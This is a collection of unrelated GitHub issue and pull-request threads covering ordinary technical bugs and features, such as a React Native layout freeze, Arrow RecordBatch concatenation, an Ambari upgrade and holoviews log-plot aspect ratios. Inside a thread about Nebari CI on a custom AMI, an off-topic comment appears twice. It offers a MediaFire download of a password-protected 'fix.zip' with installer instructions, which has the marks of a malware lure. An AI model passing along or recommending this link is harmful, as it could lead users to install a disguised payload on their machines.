[Navigator] pop causes 100% CPU and loops forever

Hey,
This issue is surely super hard to replicate as it happens only on one view - when I push route from List and then, pop to go back. When I click pop, componentWillUmount is called on that route but screen freezes and nothing animates/changes. This started happening after upgrading from 0.7 to 0.8. I tried replacing the route I push from ListView in order to make sure it's not its fault and nothing has changed, so I am blaming the ListView. It's just a simple List with 2 sections and ~20 rows with text. Replacing ListView with manual this.items.map(item => <Text>{item.title}</Text>) changes nothing and the exception still occurs.
Profiling shows that the following call stack keeps running forever:
Running Time	Self (ms)		Symbol Name
29282.0ms  100.0%	0,0	 	_dispatch_worker_thread3  0x3ddd5
29282.0ms  100.0%	1,0	 	 start_wqthread
29281.0ms   99.9%	0,0	 	  _pthread_wqthread
29281.0ms   99.9%	0,0	 	   _dispatch_worker_thread3
29281.0ms   99.9%	0,0	 	    _dispatch_root_queue_drain
29276.0ms   99.9%	0,0	 	     _dispatch_queue_invoke
29276.0ms   99.9%	0,0	 	      _dispatch_queue_drain
29275.0ms   99.9%	0,0	 	       _dispatch_client_callout
29235.0ms   99.8%	0,0	 	        _dispatch_call_block_and_release
29142.0ms   99.5%	0,0	 	         __42-[RCTBatchedBridge _handleBuffer:context:]_block_invoke363
29141.0ms   99.5%	1,0	 	          -[RCTUIManager batchDidComplete]
29108.0ms   99.4%	0,0	 	           -[RCTUIManager uiBlockWithLayoutUpdateForRootView:]
29106.0ms   99.3%	0,0	 	            -[RCTShadowView collectRootUpdatedFrames:parentConstraint:]
29104.0ms   99.3%	0,0	 	             layoutNode
29104.0ms   99.3%	0,0	 	              layoutNodeImpl
29104.0ms   99.3%	0,0	 	               layoutNode
29104.0ms   99.3%	0,0	 	                layoutNodeImpl
29104.0ms   99.3%	0,0	 	                 layoutNode

Any tips/hints what to test/debug more in order to fix that?

Ok, the issue is when this combination of style is applied to a View:
row: {
    flex: 1,
    alignItems: 'stretch',
    justifyContent: 'space-between',
    flexDirection: 'row',
    flexWrap: 'wrap'
  },

Removing flexWrap: 'wrap' fixes the issue. Any ideas why? Generally it paints quite well and does what it should do, looks like it just freezes when component is about to animate out.

IIRC there's an open bug about row + wrap locking up the CPU. Sounds like this could be the same issue.

Duplicate of #1378


GH-37895: [C++] Feature: support concatenate recordbatches.

Rationale for this change
User scenario: When we use acero plan, many smaller batches may be generated through agg and hashjoin. In addition, due to the mpp database, there is data distribution. When there are many segments, each segment data is compared at this time. Small, in order to improve performance, we hope to merge multiple fragmented small batches into one large batch for calculation together.
What changes are included in this PR?
record_batch.cc
record_batch.h
record_batch_test.cc
Are these changes tested?
yes, see record_batch_test.cc
Are there any user-facing changes?
yes

Closes: #37895

I think the C++ Windows Checks are failing due to this change but I couldn't figure out why...

I think the C++ Windows Checks are failing due to this change but I couldn't figure out why...

+1, I am also very confused, mac and linux are compiled correctly
But Windows is

[345/901] Linking CXX executable release\arrow-table-test.exe
FAILED: release/arrow-table-test.exe
cmd.exe /C "cd . && D:\a\_temp\msys64\clang64\bin\c++.exe -Qunused-arguments -fcolor-diagnostics  -Wa,-mbig-obj -Wall -Wextra -Wdocumentation -Wshorten-64-to-32 -Wno-missing-braces -Wno-unused-parameter -Wno-constant-logical-operand -Wno-return-stack-address -Wdate-time -Wno-unknown-warning-option -Wno-pass-failed -mxsave -msse4.2  -O3 -DNDEBUG -O2  @CMakeFiles\arrow-table-test.rsp -o release\arrow-table-test.exe -Wl,--out-implib,release\libarrow-table-test.dll.a -Wl,--major-image-version,0,--minor-image-version,0  && cd ."
ld.lld: error: undefined symbol: arrow::ConcatenateRecordBatches(std::__1::vector<std::__1::shared_ptr<arrow::RecordBatch>, std::__1::allocator<std::__1::shared_ptr<arrow::RecordBatch>>> const&, arrow::MemoryPool*)
>>> referenced by src/arrow/CMakeFiles/arrow-table-test.dir/record_batch_test.cc.obj:(arrow::TestRecordBatch_ConcatenateRecordBatches_Test::TestBody())
>>> referenced by src/arrow/CMakeFiles/arrow-table-test.dir/record_batch_test.cc.obj:(arrow::TestRecordBatch_ConcatenateRecordBatches_Test::TestBody())

I think the C++ Windows Checks are failing due to this change but I couldn't figure out why...

Found that ARROW_EXPORT is missing, this should be the reason

CI failure seems unrelated
+1


fix(53204): Bug: __runInitializers(this) is emitted before super() call

Fixes #53204

Should we do one last cherry-pick/LKG

@typescript-bot pack this
@typescript-bot cherry-pick this to release-5.0


Comment direct after ;

A comment without space after a ; is currently not detected and leads to errors.
Example:

It looks now ok for me.

It looks now ok for me.


R programming language trove classifier

Request to add a new Trove classifier.
The name of the classifier you would like to add

Programming Language :: R

Why do you want to add this classifier?
Projects like rpy2, pyRserve, and others allow interactions between Python and the R programming language. It would be great to be able to search for such projects on PyPI, especially since “R” is notoriously hard to search.

Thanks for filing this @flying-sheep!
I've gone ahead and added the requested classifier 'Programming Language :: R'.

Thank you!


Assess CI on custom AMI with pre-deployed nebari

This exploration involves evaluating the feasibility of running our CI pipeline on a custom (AMI) that includes a pre-deployed Nebari environment (using the latest release version).
The process will use Packer to build the AMI based on an Ubuntu 22.04 image, with Ansible provisioning to configure Nebari.
The main goal of this exploration is to attempt to reduce the time it takes for our current local test deployment to successfully enter the integration tests phase. Currently, most of its time is spent deploying and preparing the kind cluster.

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."


[IDE] Improve Library Completion to only include Cadl libraries

There should be an implementation so that Library Completion only includes Cadl libraries.

This is a split of the Import completion task #275 for which @Jg1255 made the 1st iteration that complete with the available cadl libraries. This would be the 3rd part which looks into resolving the list from all installed packages regardless of them being in dependencies and peerDependencies and optimiuze to reduce the file system calls.

Maybe the bug title could be improved. I'm having a hard time mapping that to "only include Cadl libraries"


Idea: implement QR-code in marker image

Really interesting project, thanks for sharing!
It'd be nice to implement a QR code into the marker image to simplify the startup process of a presentation. Then you only need to open the marker in your desktop browser, then scan it with your QR reader on mobile.
Btw, some years ago in 2012 there was a similar project called Pointcloud browser. Maybe you could draw inspiration from it as it could work with arbitrary images as targets in addition to markers, that were analyzed by a server.
Unfortunately the project was abandoned. Back then, I've done a project with a colleague, that showcases it's powers: Amplex.

good news! it is already done :)
here is the blog post - https://medium.com/arjs/ar-code-a-fast-path-to-augmented-reality-60e51be3cbdf
here is the builder - https://jeromeetienne.github.io/AR.js/three.js/examples/arcode.html
enjoy :)

Ha, what a coincidence. Nice!

Hi, I am the only one that can't generate the ar-code? I only see "Info" and "PDF" button


Fixing workflow errors

removed k8s v1.20 cause is not compatible with knative 1.1.0+
added working directory to failure conformance workflows step

/assign @ikvmw

/lgtm

From Slack:
Why adding working dir was needed?
Cause the gather failure step was calling make env outside the root repo dir, that was causing the "no target .env when calling make"

/approve

/approve cancel

/approve


Add btrfs storage driver

Testsuite passed

@tomponline @stgraber Ready for review.

jenkins: test this please

@monstermunchkin all PRs are currently failing because of that clustering dns thing, no idea why it suddenly started failing for everyone today, will need to investigate before we can run jenkins on all the PRs.

So, why do we need this new extension and telling the source about the refresh migration?
We currently communicate whether we're dealing with a refresh migration or not through the migration header, is there some situation where this isn't enough?

@stgraber my understanding of how migration works is that the lxc client sends an HTTP request to the source and then that is forwarded onto the target so that they can establish the web sockets. This would meant that the "refresh" property was already accessible on the source and passing into MigrationTypes() function for consistency reasons would be trivial. Apparently this is more difficult than I thought because this is not how it works, in which case there is probably no direct need for it.
Although a comment on the sender side explaining why MigrationTypes() is hard coded to refresh=false even when a refresh is taking place would likely help future readers of the code.

@monstermunchkin the rest looks good to me (although I can't speak for the bulk of this PR as I'm not familiar with BTRFS).

I removed the extension and the code which goes with it, and added a comment instead.

Ready to review. I've rebased it, and the code is now split between driver_btrfs.go, driver_btrfs_utils.go and driver_btrfs_volumes.go.

@monstermunchkin thanks, that will make it slightly easier for me to diff my version of it against yours.
Though I'd recommend not putting more time into this as my version as diverged a lot from yours and is getting close to ready for review/merge (I've got two more functions to move to generic.go and then review the snapshot related functions and we'll be good to go).


inline Sprite.destroy logic with Text.destroy

When Sprite.destroy called from Container.destroy 2nd parameter is undefined and should be interpreted as true.
Opposite solution to add destroyBaseTexture parameter to all destroy functions.

Hello! Pull requests should be made to the dev branch and not the master branch. Also, PR #2592 resolve some inconsistencies with the destroy functionality.


React Native Video Rendering Issue on iOS and Android Platforms

Hello.
I am Igor Augusto, a React Native mobile developer based in Brazil, and I am currently facing an issue with the react-native-video module in my application. I would like to share more information about the problem so that we can discuss it in depth.
When trying to render multiple videos in my application using the react-native-video module, I have noticed that the module behaves differently on iOS and Android platforms. On iOS, the first ten videos are sequentially prepared, and subsequent videos are prepared as they are played. However, on Android, the first ten videos are prepared twice, and subsequent videos are prepared in a disorderly manner. This has led to problems with ERROR_CODE_DECODING_FAILED on Android devices, as well as inconsistencies in the overall performance of the application.
In light of this problem, I am seeking possible solutions to resolve it. I have already checked if the react-native-video module is up-to-date on both platforms, as well as whether the application is properly managing memory and correctly releasing resources when videos are paused or finished playing. Additionally, I am looking for specific module configurations that may help to solve the problem, as well as other specialized video rendering libraries such as ExoPlayer for Android.
I would like to ask for help and suggestions for additional solutions to this problem. Thank you in advance for your attention and collaboration.

Hello,
To be clear, The error: CODE_DECODING_FAILED is linked to too many Video View initialised in the same time.
I think this discussion is interesting: https://github.com/react-native-video/react-native-video/issues/2984
Technically it is not possible to allocating 100 video decoders on android. That is the root cause.
There is no easy workaround to do in react native video.
I will close the ticket, Let me know if you need more advices.


Add file upload using Multer and Github

Pull Request
Title
Integration of github repo for storing images
Description
Utilized multer and setup for a github repo for storing img files for the application.
Related Issues
fixes #779
Checklist

[X] I have tested the changes locally
[X] Documentation has been updated (if necessary)
[X] Changes are backward-compatible

Screenshots (if applicable)

We have to add the file from the right directory (uploading from frontend will work fine).

Bro resolve conflicts...

@manikumarreddyu done!


Backend metrics

Added collecting of backend metrics from Media Wiki. It runs a page with forceprofile=1 and parses resulting data.

Few minors, apart from that LGTM


Method setFilesToUpload stop working

What is your Scenario?
Hi all, i would like to ask you to help me to solve something strange :)
Method setFilesToUpload sstop working.
I have web application with form where i want to upload file.

                        <file-upload ng-model="fileArray" accept=".pdf" label="inputLabel" class="ng-pristine ng-untouched ng-valid ng-isolate-scope ng-not-empty">

    <input type="file" class="custom-file-input ng-pristine ng-untouched ng-valid ng-not-empty" lang="cs" accept=".pdf" ng-model="fileArray" ng-change="change()" custom-file-input="">
    Drag or select file to upload

</file-upload>

Then iam using next code that will insert specific filename from local storage to this window
const finput = Selector('input[type="file"]')
await t.setFilesToUpload(finput,'myFile.pdf')

And this wokring until upgrading testcafe to 3+ version
I have tried every 3* version, but problem persisting.
What is the Current behavior?
Starting from testcafe version 3+ this methond stop working for me.

What is the Expected behavior?

Screenshots
Wrong actual behavior

And this is how its working before

Steps to Reproduce
1.const finput = Selector('input[type="file"]')
2.await t.setFilesToUpload(finput,'myFile.pdf')
TestCafe version
3.5.0
Node.js version
v18.14.0
Command-line arguments
testcafe testcafe.test.ts -L
Browser name(s) and version(s)
Chrome Version 123.0.6312.59 (Official Build) (64-bit)
Platform(s) and version(s)
Windows 11 Pro Insider Preview  23620.1000
Other
its does not work in any browsers ihave tried, like edge,firefox,chrome

Hello @gnig,
I tested your example, and the file is uploaded. To check upload input, I added some uploadInput.value logs to your test:
const finput = Selector('input[type="file"]')
await t.setFilesToUpload(finput,'myFile.pdf')
console.log(await finput.value)

Please refer the following help topic to learn how to observe the state of the input element.
However, to investigate your scenario, we need a more detailed example.
Please let us know your results.

working on way how to show you behavior. gimme time :) before ticket get close

Project folder: C:\Users\username\WebstormProjects\epp-test\
Test file location: C:\Users\username\WebstormProjects\epp-test\src\tests\done
Helper file with some script inc. upload file to form: C:\Users\username\WebstormProjects\epp-test\src\helpers
PDF file i want to upload (storing in same folder as test file): C:\Users\username\WebstormProjects\epp-test\src\tests\done
Function that trying upload file to form:

Test output:

 Stavebni sporeni - Dite a Zastupce
 √ Test 1 - check
 × Add document Contract
   1) Uncaught object

   "{"callsite":{"filename":"C:\\Users\\username\\WebstormProjects\\bt-epp-test\\src\\test-data\\Epp.CommonFunctions.ts","lineNum":710,"callsiteFrameIdx":5,"stackFrames":[{},{},{},{},{},{},{},{},{}],"isV8Frames":true}}"
      was thrown. Throw Error instead.
      Browser: Chrome <IP_ADDRESS> / Windows 11
1/2 failed (49s)

I tried to reproduce the issue with the scenario you described, but I couldn't replicate the error. However, we encountered a similar issue previously, which was related to lite-server, which utilizes browser-sync. You can try the solution described in the thread.
If that doesn't work, please share a Minimal Working Example, so that our team can research the issue and help you.


Add Line Number Based support for JavaScript

Platform: linux

I am having problems running javascript files
alt+shift+ j, I get an unrecognized command, or something to that effect


how can i get : tokenized_dataset: "nomic-ai/bert-pretokenized-2048-wiki-2023", for MLM training~

also, will you show how to deal the tokenized_dataset from nomic-ai/bert-pretokenized-2048-wiki-2023, thanks!

i find here, https://huggingface.co/datasets/nomic-ai/nomic-bert-2048-pretraining-data , thanks


Don't rebuild coverage target on each coverage run

Aside from reducing the amount of output from repeated cargo run executions (particularly when there's warnings), this also reduced the total time to run cargo fuzz coverage in my project from ~15 to ~4 seconds.
The new behavior should still be safe from other code changes in the project being fuzzed  while running (and other cargo fuzz invocations), because the coverage directory is kept separate.

Thanks for the quick review! Let me know if this works :)


Add translation out of date widget to some pt-br docs

What's changed, or what was fixed?

adds translation-out-of-date.html widget to some pt-br docs

[WF_IGNORE:SKIP_TYPOS]

Whoops!
There were 1 warnings that will prevent this PR from being merged. Please take a look, and either fix, or provide a justification for why they can't be fixed.
WARNINGS
src/content/pt-br/fundamentals/payments/index.md#L86 - '

:tada: This has been pushed live to https://developers.google.com/web/


Redundant code in to_tensor()

The following code (lines 84-87) in the definition of to_tensor() (link) seems to first convert to HWC format and then immediately to CHW and that too using 2 calls to transpose() instead of calling view() or reshape(). Is there any reason for this?
    img = img.view(pic.size[1], pic.size[0], nchannel)
    # put it from HWC to CHW format
    # yikes, this transpose takes 80% of the loading time/CPU
    img = img.transpose(0, 1).transpose(0, 2).contiguous()

Hi,
There is a difference between doing view().permute() and view() alone, and that boils down to how the memory is represented.
Here is a simple example illustrating why the current way of doing can't be replaced by a single view
img = torch.arange(18)
img1 = img.view(3, 3, 2).permute(2, 0, 1)
img2 = img.view(2, 3, 3)
print(img1)
print(img2)

which gives (as expected) different results
tensor([[[ 0,  2,  4],
         [ 6,  8, 10],
         [12, 14, 16]],

        [[ 1,  3,  5],
         [ 7,  9, 11],
         [13, 15, 17]]])
tensor([[[ 0,  1,  2],
         [ 3,  4,  5],
         [ 6,  7,  8]],

        [[ 9, 10, 11],
         [12, 13, 14],
         [15, 16, 17]]])


"Stop Generating" button

Not really happy with having everything in one button, but i have to get some sleep before writing more code haha

Not really happy with having everything in one button, but i have to get some sleep before writing more code haha

no problem! also that looks good!


Game won't load while drift is enabled

I have been using drift with the same mods for weeks now, but today when I logged off for a few minutes my game would freeze when loading. I went through all my mods and drift was the one causing my issue.. I am not sure why it is doing this now. If someone is able to maybe help, that would be great.

Which version of the game are you running? Retail, WOTLK classic, or vanilla classic?

I am running retail world of warcraft.
On Tue, Oct 10, 2023, 4:25 a.m. Jared Wasserman @.***>
wrote:

Which version of the game are you running? Retail, WOTLK classic, or
vanilla classic?
—
Reply to this email directly, view it on GitHub
https://github.com/jaredbwasserman/drift/issues/58#issuecomment-1754573512,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/BDDW2BHP2R632HKGCJI7I43X6TZ77AVCNFSM6AAAAAA5XJJUVWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTONJUGU3TGNJRGI
.
You are receiving this because you authored the thread.Message ID:
@.***>

Drift works fine for me both when I log in to and log out of retail WoW. Can you attach your saved variables file Drift.lua? The location is going to be similar to:
C:\Program Files (x86)\World of Warcraft\_retail_\WTF\Account\<ACCOUNT_NAME>\SavedVariables\Drift.lua

It is possible the game freezing behavior is caused by something specific to your saved variables. Since I cannot reproduce this behavior, I want to copy your saved variables and see if that allows me to reproduce the issue.
Thanks!


[AMBARI-22962] - Ambari Upgrade: LogSearch + Ambari Infra (2.6 -> 2.7)

What changes were proposed in this pull request?
Rename service AMBARI_INFRA to AMBARI_INFRA_SOLR

in metainfo.xml of AMBARI_INFRA
in kerberos.json
kerberos_descriptor json in the artifact table in ambari database
in ambari database table records
in role command order

Move from AMBARI_INFRA folder from AMBARI_INFRA_SOLR in common_services and stacks/HDP
Fixed logsearch upgrade: when upgrading ambari the each logsearch releated configuration tried to be deleted multiple times because of different configuration versions. From the second all tries failed and broke the upgrade.
How was this patch tested?

Install Ambari 2.6.1
Create cluster including zookeeper, logsearch and ambari infra
Enable Kerberos
Start upgrade Ambari to <IP_ADDRESS>
Before running ambari-server upgrade build ambari-server from trunk, and replace ambari-server.jar and the stack code
Continue upgrade
Run service checks
Regenerate keytabs
Run service checks

Please review:
@swagle @oleewere @rlevas @miklosgergely

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/Ambari-Github-PullRequest-Builder/643/
Test FAILed.
Test FAILured.

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/Ambari-Github-PullRequest-Builder/654/
Test FAILed.
Test FAILured.

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/Ambari-Github-PullRequest-Builder/669/
Test FAILed.
Test FAILured.

Please review @adoroszlai

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/Ambari-Github-PullRequest-Builder/680/
Test FAILed.
Test FAILured.


[REEF-850] Delete or suppress verbose outputs in Unit Tests

This addresses the followings:

Delete println() from TestCombiner
Replace Level.INFO with Level.FINE in HostnameBasedLocalAddressProvider constructor
Replace Level.INFO with Level.FINE in LegacyLocalAddressProvider constructor

JIRA:
REEF-850
Pull Request:
This closes #

Looks good to me (down from 6.5k lines of output to less than 4k!), I'll test and merge


Failure when running Laravel tests... runs fine in browser

Running a unit test and keep running into a function nesting level error.
Fatal error: Maximum function nesting level of '100' reached, aborting! in /path/to/project/vendor/laravel/framework/src/Illuminate/Container/Container.php on line 1057
Here's my test:
    public function setUp()
    {
        parent::setUp();

        $this->headCoach = User::where('email', DatabaseSeeder::HEAD_COACH_EMAIL)->first();
    }

    /**
     * @test
     */
    public function viewRoster()
    {
        $this->actingAs($this->headCoach)
            ->visit('/roster')
            ->see('Player Roster');
    }

Here's where it's failing:
@if(Auth::user()->hasRole('head-coach')

Should this functionality be working or is this a known issue?

This seems to be something underlying with Laravel.... adjusting the max_nesting_level to 500 resolved it for me.  See https://laracasts.com/discuss/channels/general-discussion/l5-maximum-function-nesting-level-of-100-reached-aborting

Pretty alarming that checking the permission or role of a user requires over 100 nested functions. Seems like a red flag...

Yeah... I think it's an underlying issue with something in Laravel because people have experienced it somewhat regularly outside of using this package.  I don't like the idea of increasing the nesting level, but I also don't think it's an issue with the Entrust package.


Type checking Action/State

Description

Introduce TArray to have better type checking than Array.
Fix several bugs that can be detected when test is run in dbg mode.

Motivation and Context
Array was a temporary design which is very unsafe. e.g. in atari state["done"_] has integer type, while the return value of game_over() is subject to change in the thirdparty code. We need automatic type casting rather than manually checking them.

[x] I have NOT raised an issue to propose this change (required for new features and bug fixes)

Types of changes
What types of changes does your code introduce? Put an x in all the boxes that apply:

[x] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds core functionality)
[ ] New environment (non-breaking change which adds 3rd-party environment)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] Documentation (update in the documentation)
[ ] Example (update in the folder of example)

Implemented Tasks

[x] TArray.
[x] Utilities to cast std::vector<Array> to Dict<Keys, TupleOfTArray>.
[x] Fix several bugs.
[x] Replace State/Action in Env to be the type safe version.
[x] Replace all uses of Array to TArray

Checklist
Go over all the following points, and put an x in all the boxes that apply.
If you are unsure about any of these, don't hesitate to ask. We are here to help!

[x] I have read the CONTRIBUTION guide (required)
[ ] My change requires a change to the documentation.
[x] I have updated the tests accordingly (required for a bug fix or a new feature).
[ ] I have updated the documentation accordingly.
[x] I have reformatted the code using make format (required)
[x] I have checked the code using make lint (required)
[x] I have ensured make bazel-test pass. (required)

isort and yapf failed, but this PR has only changed cc/h files.
Seems current main branch can not pass the python lint check.

it's because we didn't pin isort/yapf version before

it's because we didn't pin isort/yapf version before

Okay, so the latest yapf is not respecting the column_limit=79 in setup.cfg now ...


Change RedbKey and RedbValue to Key and Value

I think it's slightly more idiomatic to not prefix types with the crate name. If these names conflict with local type names, they can be referred to as redb::Key and redb::Value, which is still short, since redb is only four letters.
API breakage can be avoided by doing a hidden re-export:
#[doc(hidden)]
type RedbKey = Key;

#[doc(hidden)]
type RedbValue = Value;

ya, that does seem better. Although I'll probably go with KeyType and ValueType that seems more descriptive to me.
I'm getting a compiler error from the aliasing though. Do you know how to export an alias of a type with GATs? It looks to me like it's not possible: only generic params are allowed. https://doc.rust-lang.org/reference/items/type-aliases.html

Oh that's annoying. I don't know if there's a workaround for that.

Ya, I don't think it's possible from what I can tell. I'm going to merge this into #677


[Feature Request] Integration of Gemini AI Chatbot for Blog Assistance and User Engagement

Is there an existing issue for this?

[X] I have searched the existing issues

Feature Description
To improve user engagement and provide on-demand support, I propose integrating the Gemini AI Chat Assistant into the MERN Blog platform. This chatbot will assist users by answering questions about blog creation, commenting, and account settings, as well as providing recommendations for trending or relevant blogs.
The Gemini AI chatbot will be customized to match the MERN Blog website’s theme, ensuring seamless integration with the platform’s design and user interface.
DEMO

NOTE : The UI will be matched with the theme of the website
Use Case

Enhanced User Assistance: The Gemini AI chatbot will provide real-time help for users navigating the platform, such as creating, editing, and managing blogs, commenting on posts, and troubleshooting account issues.

Content Discovery: Users can receive recommendations for trending or popular blogs, helping them discover relevant content and improving overall engagement with the platform.

Instant Support for New Users: The chatbot can guide new users through setting up their accounts, using Google OAuth, and uploading images via Cloudinary, simplifying the onboarding process.

24/7 Availability: The chatbot will be accessible at any time, providing support even outside of typical support hours and increasing user satisfaction.

Benefits

Improved User Onboarding: Real-time support helps new users become familiar with the blogging platform quickly, enhancing user retention and reducing the learning curve.
Increased Engagement: With chatbot-driven content suggestions, users are more likely to stay engaged and explore additional blog posts.
Reduced Support Load: By handling common questions and troubleshooting issues, the chatbot decreases the workload on human support, allowing resources to be allocated to more complex tasks.

Priority
High
Checklist

[X] I have read the Contributing Guidelines
[X] I’m a GSSOC'24 contributor
[X] I have starred the repository

@Shariq2003 you can proceed but make sure that it works fine there is an another issue opened in this regard but it is giving a blank screen when opening app. Only showing chatbot

@Shariq2003 you can proceed but make sure that it works fine there is an another issue opened in this regard but it is giving a blank screen when opening app. Only showing chatbot

Okay @sharmavikas4 sir,
Also please increase the level as i am implementing both the frontend and the backend

@Shariq2003 @sharmavikas4 I would like to work on this issue.

@sharmavikas4 sir, assign @ShivanshPlays

Go ahead @ShivanshPlays


working on pop-up winner screen in four-player-teams.html

also i reduced the size of scroll bar in info.html


Anyway to override the Example text in the generated Swagger output?

Hi All,
Is there any way to override the Example text in the generated Swagger output?
For example,

Here, the filter only supports $eq, and I want to add a relevant example, such as:
Example: filter.service=$eq:SMS
Thanks,
Marcus

Adding a @ApiQuery after @ApiPagniationQuery seems to do work
@ApiPaginationQuery(RecipientPaginationConfig)
@ApiQuery({
    name: 'filter.service',
    required: false,
    type: String,
    isArray: true,
    description: `Filter by id query param.
          ${p('Format', `filter.service={$not}:OPERATION:VALUE`)}
          ${p('Example', `filter.service=$eq:SMS`)}
          ${li('Available Operations', ['$eq'])}`
  })

(of course, defining the functions p and li as in lib)
This overwrites the generated one in the output
Minor hiccup: If you don't override all the filters, they are not listed together, with a page and limit between the ones you overwrote and the ones you generated.

@vsamofal and I are recently onboarded contributors, and as far as I understand it @vsamofal is the one that drove development of the Swagger parts. I'm still getting introduced to the matter, but willing to learn. I'm currently stuck on https://github.com/ppetzold/nestjs-paginate/pull/883. If either of you could help me get acquainted with NestJS' Swagger, then I can have a deeper look at this issue and we can think of a clean solution for this.

Perhaps we can provide more fine grained decorators, or configuration to the decorators, for overriding parts of the Swagger output?


syntax parsing is not working properly with lots of single quotes

See below for an example. A large code section is marked as red.
https://github.com/xinglin/cloud-management-kits/blob/master/src/main/scala/Prefix.scala

Linguist only selects the grammar to use for highlighting. For Scala, GitHub uses mads-hartmann/scala.tmbundle. You should open an issue there if there isn't already one (it looks related to mads-hartmann/scala.tmbundle#59).


Removing a deferred filter via the filter indicators bar has unexpected results

Package
filament/filament
Package Version
v3.2
Laravel Version
v10.40
Livewire Version
v3.3.5
PHP Version
8.3
Problem description
If filters are deferred, clicking on their respective 'x' buttons in the filter indicators bar does not immediately remove them. I understand this is what the deferring of the filters does, however with no apply filters button visible in the bar, this behaviour is confusing.
Expected behavior
A few options:

Interacting with filters (and the remove all button) in the filter indicators bar should have immediate effect, regardless of whether the main filters panel defers applying them or not.
The filter should remain applied upon clicking the 'x' and the badge should actually disappear (it doesn't currently).
Hiding the filter indicators altogether when deferring

I would expect it to function as per the first option – this way we get the best of both worlds. The second I would find confusing and the third means trading one feature for another. Just my opinion though!
Steps to reproduce

Apply ->deferFilters()
Apply a filter
Attempt to remove it in the active filters bar

Reproduction repository
https://github.com/filamentphp/demo with standard filter layout in ProductResource
Relevant log output
No response

Hey, I'm facing similar issue, I connot remove the filter indicators from the bar after applying ->deferFilters().
Even when I click on remove all filters an error message "foreach() argument must be of type array|object, null given" appear,  I things this error is referring to $filterFields in removeTableFilter() function.
how I can manage those issues ?
Thank you

@MhdTarhini Dunno if you ever solved that, but I found this thread when I encountered a similar issue. Thought I'd leave an answer here for anyone else that hits it:
My problem turned out to be that I was creating my filters via ->filters() as usual, then calling ->filtersFormSchema() to arrange them into a desired schema... but not using them all. Any unused filters caused removeTableFilter() to choke on a null instead of an array.
Using all of them in the schema fixed it.

@V13Axel The thing is, I do include all in the ->filtersFormSchema() and still receives the same error. Could it be due to one of the filter being custom filter form?


Adding features to dump keys using secrets on python

existing method stores the keys in variables instead fetch them using secrets or keyrings

Hey @rexdivakar, I would like to work on this. Please assign this to me, I'll open PR during Hacktoberfest :)

🌟 Star it 🍴Fork it 🤝 Contribute to it!
Happy Coding


aspect and log plots

The aspect parameter can be used to set the aspect of a plot:
%%opts Curve [ aspect=2]
hv.Curve((np.linspace(0.1,10 )))

However, when setting one of the axis to log, the aspect parameter is ignored:
%%opts Curve [logy=True, aspect=2]
hv.Curve((np.linspace(0.1,10 ),np.linspace(0.1,100 )))

I've noticed this as well and haven't yet been able to figure out what's going on here. Presumeably this expression doesn't work correctly with log axes:
axes.set_aspect(((1./axes.get_data_ratio()))/aspect)

When running for the first time, this warning appears:
/usr/local/lib/python2.7/dist-packages/matplotlib/axes/_base.py:1166: UserWarning: aspect is not supported for Axes with xscale=linear, yscale=log
  'yscale=%s' % (xscale, yscale))

Thanks, wonder what the correct way of setting log-linear plot aspects then.

A solution inspired from stackoverflow answer:
def fixed_aspect_ratio_loglog(plot, element):
    '''
    Set a fixed aspect ratio on matplotlib loglog plots
    regardless of axis units
    '''
    ratio = plot._aspect_param_value
    ax = plot.handles['axis']
    xvals,yvals = ax.axes.get_xlim(),ax.axes.get_ylim()

    xrange = np.log(xvals[1])-np.log(xvals[0])
    yrange = np.log(yvals[1])-np.log(yvals[0])
    ax.set_aspect(ratio*(xrange/yrange), adjustable='box')

%%opts Curve [logx=True, logy=True, aspect=1, final_hooks=[fixed_aspect_ratio_loglog_hv]]
hv.Curve((np.linspace(1,10,10), np.linspace(1,10,10)**10))

Assigned myself, will look into it.

Hi, @philippjfr .
I'm sorry for bothering.
Any progress on this?
I did this
import numpy as np
def fixed_aspect_ratio_loglog(plot, element):
    '''
    Set a fixed aspect ratio on matplotlib loglog plots
    regardless of axis units
    '''
    ratio = plot.aspect
    ax = plot.handles['axis']
    xvals,yvals = ax.axes.get_xlim(),ax.axes.get_ylim()
    print xvals,yvals
    xrange=xvals[1]-xvals[0]
    #if ax.get_xaxis().get_scale()=='log':#or linear
    if plot.logx:
        xrange = np.log(xvals[1])-np.log(xvals[0])
    yrange=yvals[1]-yvals[0]
    #if plot._logy_param_value:
    #if ax.get_yaxis().get_scale()=='log':
    if plot.logy:
        yrange = np.log(yvals[1])-np.log(yvals[0])
    print ax.get_aspect()
    print xrange,yrange,ratio
    ax.set_aspect(ratio*(xrange/yrange), adjustable='box')
    print ax.get_aspect()

plot=curve(plot=dict(logx=True,aspect=1,final_hooks=[fixed_aspect_ratio_loglog]),style=dict(width=800,height=600))
plot

And got this
(0.0001, 10.0) (0.0, 89.086297565778608)
auto
11.512925465 89.0862975658 1
0.129233403784

And these warnings:
.../matplotlib/axes/_base.py:1292: UnicodeWarning: Unicode equal comparison failed to convert both arguments to Unicode - interpreting them as being unequal
  if aspect == 'normal':
.../matplotlib/axes/_base.py:1297: UnicodeWarning: Unicode equal comparison failed to convert both arguments to Unicode - interpreting them as being unequal
  elif aspect in ('equal', 'auto'):
.../matplotlib/axes/_base.py:1404: UserWarning: aspect is not supported for Axes with xscale=log, yscale=linear
  'yscale=%s' % (xscale, yscale))

The image is still square:

Thank you for your help!

Here is what I'm actually trying to do but implemented in matplotlib:
%matplotlib inline
from matplotlib import pyplot as plt
plt.figure(figsize=(20,10))
plt.semilogx(times, freqs)
plt.title('all of them')
plt.grid(True)

Keeping this open, we have a fix for loglog plots now, but not semilog.

A temporary solution is to set the figure size to force it to be square:
fig, ax = plt.subplots(  )
ax.set_yscale("log", nonposy='clip')
...
fig_size = fig.get_size_inches()
fig.set_size_inches( fig_size[1]*1.1, fig_size[1]*1.1 )

the 1.1 scaling is for avoiding cuts in the labels, should be adapted for case to case.

I have a log scale on my y-axis and wish to stretch out the x-axis, is there a workaround for achieving this?

